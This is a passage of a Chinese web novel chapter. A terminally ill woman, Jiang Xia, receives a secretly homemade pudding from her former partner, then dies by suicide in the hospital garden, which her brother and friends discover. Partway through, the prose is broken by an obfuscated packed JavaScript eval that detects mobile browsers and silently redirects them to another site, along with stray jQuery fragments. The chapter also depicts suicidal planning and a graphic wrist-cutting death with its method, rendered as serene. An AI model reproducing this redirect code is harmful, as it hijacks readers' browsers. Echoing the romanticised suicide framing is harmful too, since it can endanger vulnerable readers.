回乡下过年的前一天,陈温决定再去一趟江夏那里。
陆晚枝用了一整夜的时间,把纷乱的情绪和千头万绪的“怎么办”理清了。
她放不下江夏,这点毋庸置疑。
但她更明白,现在的江夏,就像一只受惊后竖起所有尖刺的刺猬,她若贸然靠近,只会让对方应激般逃得更远,甚至彻底缩进壳里。
她得慢慢来。像最开始那样,一点一点靠近。
于是她起身,在厨房的晨光里,做了一盒大米布丁。牛奶、糖、慢慢熬煮到软糯的米粒。
这是她们刚工作、手头最紧的那段日子,江夏偶尔馋甜食时,陆晚枝常做的。原料简单,卖相朴素,江夏却总是吃得眼睛微微眯起来,说比外面卖的奶油蛋糕更安心,更好吃。。
陆晚枝将布丁装进精致的便当盒,在最底层,她藏了一小层切得细细的芒果丁——江夏最喜欢的水果。
如果她吃完,就会看到。如果她看到,或许……就会隐约猜到是谁做的,但是避免立刻被发现她没有放特别多的糖。
她把便当盒打包得极其漂亮,绑上了素雅的丝带,看上去完全像从哪家温馨的甜品店买回来的。
女生把盒子交给陈温,嘱托道:“麻烦你,带给她。别说是我做的。”
陈温点点头,接过像捧着一段具象化的心意,安慰道:“放心,保证完成任务!。”
陆晚枝把他送到电梯口,在最后关头,问出了一个有些奇怪的问题:“江夏的病房……具体在几楼?哪一边?”
陈温愣了一下,他并未刻意去记。努力回想了一下给出一个大概的方位:“好像是……住院部四楼,靠东边的走廊?我记得窗外能看到一个很大的花坛。”
陆晚枝没再追问,点了点头。
陈温没让沈泽许陪着。他想自己处理这件事,总不能事事都依赖对方,适当的“距离”产生美。
病房里很安静,江夏没有休息,眼神空茫地望向窗外。
听到开门的动静,她转过脸来。仅仅几天,江夏又瘦削了一些,眼下的淡青越发明显,整个人像一张被过度使用的纸。
“我来了。”陈温坐在椅子上,尽量让语气轻快些,“江夏姐,最近感觉怎么样?有没有哪里特别不舒服?”
“还好。”江夏用一种近乎大言不惭的口吻开了个玩笑,“应该能撑到夏天。”
骗人。陈温瞧她毫无血色的嘴唇和单薄得像能被风吹走的肩膀,心里冒出这两个字。这模样,怎么看都不像“还好”。
“这是什么?”江夏的目光落在他手里拎着的盒子上。
“这是……”陈温第一次做这种“传递”的事,表情有些不自在,他把盒子放在床头柜上,“我给你带的好吃的,大米布丁。”
江夏整个人几不可察地僵了一下。她想过陈温可能会告诉陆晚枝,也为此做过心理准备。
可当“大米布丁”这四个字真的被说出来,像一把钥匙叩击记忆的锁,那股试图压下去的浪潮还是猛然涌了上来,让她几乎无法维持表面的平静。
“……是,是街道新开的那家甜品店买的,你看,这包装多好看啊。”陈温赶紧补充道,努力让语气显得自然。
江夏看向那系着丝带的盒子上停留了几秒。包装确实漂亮,不像陆晚枝会特意去弄的样子。
她心里那根绷紧的弦,稍稍松了一丝,可深处的不信,依然盘踞着。
“吃早餐了没?”陈温岔开话题,“要不要尝尝看怎么样?”
“……好。”
陈温帮她拿出勺子,打开盒盖。浓郁的奶香和米香飘散出来。
江夏接过勺子,舀起一小勺,凑到嘴边。动作有些迟疑,仿佛这一口下去,会尝到某种判决。
她最终还是吃了进去。
大米软糯,牛奶香醇,口感顺滑……可是,不甜。几乎没什么甜味。
心湖泛起涟漪。陆晚枝知道她嗜甜,每次做这个,就算嘴上说着“吃太多糖不好”,手下还是会多放一小勺蜂蜜。
这个布丁,味道是对的,可那一点至关重要的的甜,缺席了。
……不是她做的。
可为什么,还是会觉得失望呢?
“怎么样?好吃吗?”陈温期待地问。
“还不错……”江夏低声说,舌尖下意识舔了一下嘴唇,像是要确认那不够分的甜味。不信邪地又挖了一勺,依旧是不温不火的清甜。
是她想多了。
“快过年了,”她放下勺子,转移话题,“打算去哪里玩?”
“回乡下陪爷爷奶奶。没什么特别的计划。”陈温没察觉她细微的情绪变化,老实回答。
两人又闲聊了几句,陈温看她面露倦色,便起身告辞。
临走前,男生从包里拿出一本有些旧了的《活着》,“江夏姐你要不嫌弃,这本书……借你看看。在医院这段时间,要是无聊,可以拿来打发时间。”
病房里重归寂静。
江夏盯着那还剩大半的布丁,看了很久,勺子搁在一旁,没有再动。
她不知道,如果此刻她将视线从那份过于“标准”的甜点上移开,投向楼下——就能看见那个她在意的人。
陆晚枝到底还是来了。
她没上楼,只是远远站在住院部的小花坛边,仰着头,目光茫然地扫过那一扇扇整齐排列的玻璃窗。
她不知道江夏在哪一间,甚至不确定对方是否正看向窗外。
心脏在胸腔里不合时宜地怦怦直跳,快得有些发慌。明明没有对视,没有确认,连一个影子都捕捉不到。
可为什么,仅仅是站在这里,站在可能有她的地方之下,情绪无法平静?
-
江夏从床上起来了。
天气很好,难得的冬日暖阳透过玻璃窗,晒得人后背暖洋洋的,几乎要生出一点关于“活着”的实感。
她挪到窗边,看了一会儿楼下稀疏的人影和光秃的枝桠。
然后,她转过身,朝邻床那位阿姨笑了笑,轻声向陪护的女儿问道:“可以借一下你的口红吗?就一会儿。”
女孩有些意外,但还是很快从包里拿出一支,递给她,“没有用过,可以直接涂。”
口红是很淡的粉红色,带着细腻的珠光。
江夏说了声“谢谢”后接过,走到洗手间那面小小的镜子前。
镜子里的人脸色苍白,嘴唇几乎没有颜色。
她旋出口红,对着镜子,很仔细地涂在唇上。粉润的颜色覆盖了原本的灰白,像干涸的土地渗入了一滴朝露。
涂好口红,她抿了抿唇,再看向镜中,气色似乎真的被这一点颜色提亮了些。至少,看起来不那么像……一个等死的人了。
江夏将用纸巾擦干净刚才触碰过唇瓣的那一小截膏体,才把它递还给邻床的女孩,又道了谢。
恰在这时,江尘推门进来了。
他手里拎着还热气腾腾的早餐,一眼就看见窗边的姐姐。
晨光给她的侧脸镀了层柔和的边,更让他愣住的是,姐姐的唇上竟有了一抹很淡的粉色。
他心头猛地一松,好笑地觉得昨天熬夜多跑的那几单外卖,值了。
“姐,吃点东西吧。”他声音都轻快了些。
江夏没说什么,顺从地回到床上。
这一次,她竟慢慢吃掉了差不多三分之一的早餐。米粥温热地滑入食道,带来一点踏实的暖意。
江尘看着她一勺一勺,把食物送进嘴里,咽下去,眼睛几乎要亮起来,真是太阳打西边出来了,开心得不知如何是好。
“今天……”江夏放下勺子,斟酌道:“能出去走走吗?”
江尘又惊又喜,几乎要跳起来。
“能!当然能!你等着,我去问问护士!”
他一阵风似的跑出去,又跑回来,脸上带着大大的笑容:“护士说可以,但不能太久,得穿暖和点!”
他像个忙碌的管家,又是拿厚外套,又是找毛衣,最后还抱了条厚厚的毛毯,全副武装,简直像要“拖家带口”去远征。
他小心翼翼地把江夏从床上扶起来,帮她一层层穿好,随后男生动作笨拙却无比轻柔地将她扶好。
“走咯,姐,咱们晒太阳去!”
江尘小心地搀扶着江夏,姐弟俩在冬日稀薄的阳光下慢慢走着,像一对在冰面上谨慎挪动的雏鸟。
江夏几乎将大半重量靠在弟弟并不宽阔却异常坚定的臂膀上。
路上,她气息微促,问起了家常:“家里……爸妈是不是又开始催你了?”她顿了顿,目光落在前面小径的落叶上,“这几年,有没有喜欢的人?有没有谈恋爱了?”
江尘扶着她胳膊的手紧了紧,耳根子以肉眼可见的速度泛红。
他支支吾吾,眼神飘忽:“姐……你怎么突然问这个。还、还早着呢。如果有……我肯定第一个告诉你。”
江夏没再追问,只是很淡地笑,那笑容里有些了然,也有些怅然。
走到一棵叶子落得差不多的老梧桐树下,两人停了下来,有只野猫在那舔毛。
“姐,你在这儿坐会儿,就这儿,别动。”江尘扶着江夏,让她慢慢在树下供人休息的石凳上坐下,又认真地把滑落的毛毯往上拉了拉,严严实实裹住她的肩和腿。
“我忘了带水,有点渴,跑回去拿一下,很快!两分钟!”
江夏颔首,气息有些不稳:“去吧,不急。”
江尘又不放心地看了她好几眼,这才转身,几乎是小跑着朝住院楼的方向去了。
周围一下子静了下来。
远处有人在低低的交谈,更远处是城市模糊的喧嚣。
江夏独自坐在石凳上,后背靠在冰凉粗糙的树干上。
梧桐树在冬天只剩下坚硬的骨骼,树荫稀薄,几乎谈不上遮蔽,但她却微微蜷缩了一下。
其实并不温暖。石凳沁着寒意,空气是干冷的,鼻尖有泥土的潮腥气,还有树皮缝隙里湿漉漉的、属于植物和腐朽落叶的味道。
江夏闭着眼,感觉有团东西跳到了石凳上。
她睁开眼。
是只黑猫,正揣着小手,端端正正坐在不远处。体型适中,不算丰腴也不算瘦削,一身墨色短毛在室内光下显得有些稀疏,隐约能看到底下淡粉的皮肤。
最引人注目的是它的眼睛——左眼是清澈的琥珀色,右眼则是剔透的冰蓝,像藏了两种不同的天气,安静地回望着她。
见人类醒了,它从喉咙里挤出细细一声:“喵。”
试探,或是问候。
江夏慢慢伸出手,手心悬在它头顶上方,顿了顿,才感落下。
触感比预想中粗糙些。黑猫猛地向后一缩,耳朵压平,喉咙里发出警告般的“哈——”。
江夏收回手。被拒绝是意料之中,野猫总是这样。
户外沁凉,她裹着的毛毯勉强够一个人保暖。她看了看猫,又看了看毯子。
沉默几秒后,她将毛毯从身上褪下,仔细对折两次,放在身旁空出的长椅上。
自己则往旁边挪了挪,给那团黑色让出更宽敞的位置,也让自己彻底暴露在微风里。
黑猫狐疑地盯着她的动作,又看看那叠好的、带着人体余温的毛毯。
它犹疑地上前,鼻尖翕动着,在那柔软的织物上仔细嗅闻了好几下。
片刻,它似乎确认了安全,尾巴放松地垂下,整个身子一蜷,稳稳地卧在了那叠毛毯上——那是此刻长椅上最温暖柔软的地方。
它眯起那双奇异的异瞳,喉咙里发出满足的咕噜声。
江夏坐在一旁,看着它安然享用那份让出的温暖,没有说话。
就这样,一个人一猫,静静地待一会儿。
周遭太安静了,安静得往事不由分说便漫了上来。
但为什么……偏偏是关于陆晚枝的?是她的大脑在用这种方式,徒劳地想要挽留她的生命,告诉自己“别放弃”吗?
她不想去想,可思绪像脱缰的马。
算了,就让脑子去想吧。
记忆最后的锚点,停在一个雨夜。
雷声沉闷地滚过天际,闪电偶尔撕裂黑暗。江夏不怕打雷,可那天晚上,意外地睡不着。胃里隐隐的抽痛和雨声混在一起,让她格外清醒。
玄关传来钥匙转动的声音,然后是脚步声。
陆晚枝带着一身水汽进了屋,外套都没脱,就摸黑走到床边,弯下腰,一把将人连被子带人搂进怀里,用脸颊蹭着江夏的发丝。
“我回来了。”
“一身水,臭晚宝!”江夏被她冰得一激灵,伸手推她,“赶紧去洗澡,小心感冒。”
陆晚枝“嘿嘿”一笑,在她颈窝里又赖了两秒,才趿拉着拖鞋去了浴室。
水声哗哗响了一阵,她带着沐浴露的香味重新钻回被窝,手脚并用地缠上来,鼻尖蹭着江夏的后颈:“现在是香晚宝了。”
江夏由着她黏糊了一会儿,两人在被子里小声说话,肌肤相贴,呼吸交缠。
情动得自然而然,只是江夏身体终究虚着,结束时已有些气喘,额角渗出些汗。
陆晚枝侧躺着,手臂环着她,指尖有一下没一下地绕住她的头发。
江夏缓过气,抬手想去摸陆晚枝的脸,指节却无意间擦过她的发顶。
昏暗的夜灯下,一点刺眼的银白突兀地跳进视线。
她手指顿住,拨开那片黑色的发丝。
“你长白头发了。”
“嗯?”陆晚枝猛地抬起头,一脸难以置信,“哪里!?”
“这里。”江夏点那处,随即又发现了更多,“不止一根……有好几根。”
“不会吧……”陆晚枝哀嚎一声,把脸埋进枕头,闷闷的声音传出来,“做程序员真的会未老先衰啊……”过了一会儿,她又转过身,用一种刻意搞怪的语气说:“夏夏,我也不知道怎么就长白头发了。你可别嫌弃我啊。”
江夏沉默了。她知道为什么。
她的胃病反反复复,陆晚枝这几周公司项目紧,天天加班到深夜,回来还要操心她的一日三餐和药,整个人像一根绷到极致的弦。她不长白头发,谁长?
“你看过我嫌弃你了吗?”她终于开口,声音有些哑。
“当然没有!”陆晚枝接话,把她搂得更紧了些,声音软下来,“夏夏是小天使,才不会嫌弃我呢。”
“行了,别皮了。”江夏拍她的背,“明天还要上班,早点睡吧。我再休息一天,估计也能回去当‘牛马’了。”
两人在夜里相视笑,带着相依为命的暖意。笑完,陆晚枝忽然又把脑袋凑过来,头发蹭着江夏的下巴。
“夏夏,”她小声说,“帮我拔掉吧。”
江夏有点吃惊,但还是“嗯”了一声,很轻、很仔细地,帮她拔掉了那几根早生的华发。
“啊!”陆晚枝发出一声短促的轻呼。
江夏顿住,捏起刚拔下的那根头发,凑到眼前仔细看了看——那是一根很奇怪的头发,下半截是刺眼的银白,发根处却依旧是浓密的黑色。
“你看。”她把那根头发递到陆晚枝眼前,说:“这根……不是全白的。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171993|196843||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
陆晚枝就着光线瞧,嘟囔了一句:“怎么还半白不黑的……”语气里那点刻意搞怪的夸张淡了下去,染上了一点疲惫。
房间里静了片刻,只有窗外淅淅沥沥的雨声。
“对了,”陆晚枝像是忽然想起什么,试探道:“我明天……临时要出个短差。可能……要两三天。你的生日……”
“没事。”江夏打断她,声音平静得出奇,“你忙你的。”说完,她翻了个身,背对着陆晚枝,把被子拉高了些。
“生气了?”陆晚枝凑过去,手搭上她的肩膀,想把人扳过来看看。
江夏的身体绷紧了,没有动。
“才没有。”她的声音从被子里传出来,闷闷的,带着一丝极力压制的沙哑,“我困了,先睡了。”
陆晚枝的手僵在半空,她张了张嘴,想说什么,最终却只是无声地叹了口气,躺了回去,从背后将人拥进怀里。
江夏没有推开,也没有回应。
她紧闭双眼,泪水无声地浸湿了一小片枕头,喉咙里堵着酸涩的哽咽,被她死死压了回去。
她不是任性的人。
她只是觉得……累。为陆晚枝感到累。
生日过不过,真的不重要。蛋糕、蜡烛、一句“生日快乐”,有没有都行。
她只是不想看到陆晚枝为了兼顾“正常生活”的仪式感和照顾她这个日渐沉重的包袱,把自己一点一点熬干。
像一根蜡烛,两头都在烧。
其实最早发现身体不对劲的时候,江夏就想好了。她们没有那么多钱。
想不治了,找个没人认识的地方,安静地离开,像水消失在水中。
不拖累任何人,尤其是陆晚枝。
可她还是没忍住。那天看到缩在纸箱里瑟瑟发抖、对着她细声细气叫唤的小奶猫,她蹲下去,看了很久。
心里有个声音说:你连自己都照顾不好,拿什么负责另一个生命?
另一个声音却在微弱地反驳:也许……养了它,就有了一个必须好好活着的理由?
江夏把它带回了家,取名“大少”,笨手笨脚地学着照顾小家伙。
她对自己说,不能再那么悲观了,要试着活下去,为了这只小东西,也为了那个眼睛亮晶晶看向她说“我养你”的人。
她以为抓住了那根名叫“希望”的蛛丝。
可那今晚,她还是觉得自己是个拖累。那根蛛丝,根本承受不住两个人的重量,正在将另一头的人,也拽向深渊。
计划,该重新启动了。这次,不能再心软。
江夏翻开过陈温留下的那本《活着》。
她看得很慢,断断续续,目光常常停在某一页,很久才翻过去。她看到了富贵背着他的儿子去上学,在一片荒芜里,对孩子说,日子会好起来的。
“鸡养大了变成了鹅,鹅长大了变成了羊,羊长大了就变成了牛。”
她盯着那行字,看了很久。
亲情她有。友情她也有。爱情呢?大概也是有的。
可它们都没能留住江夏。
她说:“别拉着我走了。”
江尘在路上耽搁了一会儿。
经过医院小花园那个装饰性喷泉时,他看见几个小孩正急得团团转,眼泪在眼眶里打转——有人的彩色小皮球掉进了喷泉池中央。
池水虽不深,但对孩子来说已是“汪洋”,喷泉的水柱又大,孩子根本够不着。
江尘几乎没怎么犹豫,说了句“哥哥帮你”,便麻利地卷起裤腿,踩进刺骨的池水里,几步走过去,捞起皮球,递还给破涕为笑的主人,还顺手揉了揉对方的脑袋。
就这么一耽搁。
他往回跑的时候,心里还想着,待会儿肯定要被姐姐念叨,说他毛毛躁躁,也不知道冷。
可他再也没有机会被江夏骂了。
江夏还是坐在那张石凳上,靠着老梧桐树,姿势几乎没变,毛毯被叠好放在一边,野猫不见踪影。
冬日稀薄的阳光洒在她身上,甚至给人一种温暖的错觉。
只是她双眼紧闭,面容是一种近乎诡异的安详,仿佛只是睡着了,陷入了一个再也不会醒来的美梦。
江尘的视线下移,笑容凝固在脸上,血液似乎在瞬间冻住了。
她的左手无力地垂在身侧,手腕处,一道深可见骨的伤口触目惊心。
鲜血早已不再奔涌,而是以一种缓慢、粘稠的态势,浸透了她浅色的袖口,滴落在枯黄的草地上,洇开一大片暗红。
枯草上有一颗棱角锋利的石头,上面沾了点血。
更令人心头发冷的是,江夏竟“贴心”地在手腕下方垫了一个不知道从哪里找来的黑色塑料袋,接住了大部分流下的血,仿佛在尽力避免弄脏环境。
江尘站在原地,一动不动。
周围散步的人开始察觉到异常。有人停下脚步,疑惑地张望。
其中一人惊呼:“血!好多血!”
“快!快去叫医生!叫护士!”
杂乱的脚步声响起,有人朝着住院楼的方向狂奔。这片原本安宁的角落,瞬间被惊慌和骚动吞没。
这片骚动像一把钝锤,终于砸碎了江尘周身的冰壳。
他猛地一颤,喉咙里挤出一点破碎的、不成调的气音。然后,他动了。
脚步踉跄,像个被姐姐教会蹒跚学步的孩童,又像是背负着千斤重担,朝那棵梧桐树下的石凳挪去。
江尘“扑通”一声,直挺挺地跪倒在石凳前的水泥地上。
他伸出颤抖得无法自控的手,似乎想去碰一碰江夏的手腕,又在即将触碰到那片刺目的鲜红时,如同被灼伤般猛地缩回。
他抬起头,看江夏安详得近乎圣洁的侧脸,那张脸上再也没有了病痛的蹙眉,也没有了看向他时的温柔。
一根弦断了。
江尘哭了出来。声音先是闷在喉咙里,而后猛然放开,嚎啕着,肩膀剧烈耸动。
长命锁没有锁住寻死的人。
-
陈林峰他们中午才能到惠州,在那之前,陈温还能再闲一会儿。
他本是高兴的,想着下午就能见到小狗了。直到手机响起,屏幕上跳出“江尘”的名字。
接起电话,那头的声音很平,没什么起伏地说:“陈温,你来医院一趟吧。”
陈温以为是书看完了,要还他,或者江夏有什么话想说。便问:“怎么了?”
那头沉默了几秒。然后江尘说:“那本《活着》你拿回去吧。”
陈温“哦”了一声,还没反应过来,又问:“江夏姐呢?”
“她走了。”
陈温举着手机,突然觉得耳朵里嗡嗡作响,什么也听不见了。
“把陆晚枝的微信推给我吧。”江尘解释道,“这件事,该由我来说。”
陈温喉咙发紧,只应了声“好”。
电话挂断后,他盯着暗下去的手机屏幕,愣了几秒。
僵硬地点开通讯录,陈温找到陆晚枝的名字,复制,粘贴,发送。
做完这一切,他握着手机,站在房间中央,心里空荡荡的,什么滋味都有,又好像什么滋味都辨不分明。
门锁轻响,沈泽许推门进来,手里拎着刚买的东西。
陈温闻声抬起头,视线对上沈泽许的瞬间,一直强撑的什么东西忽然塌了。
他没说话,几步走过去,将额头抵在沈泽许肩头,手臂环过他的腰,把自己埋了进去。
肩膀开始控制不住地颤抖。没有声音,只有温热的湿意,慢慢洇湿了沈泽许胸前的衣料。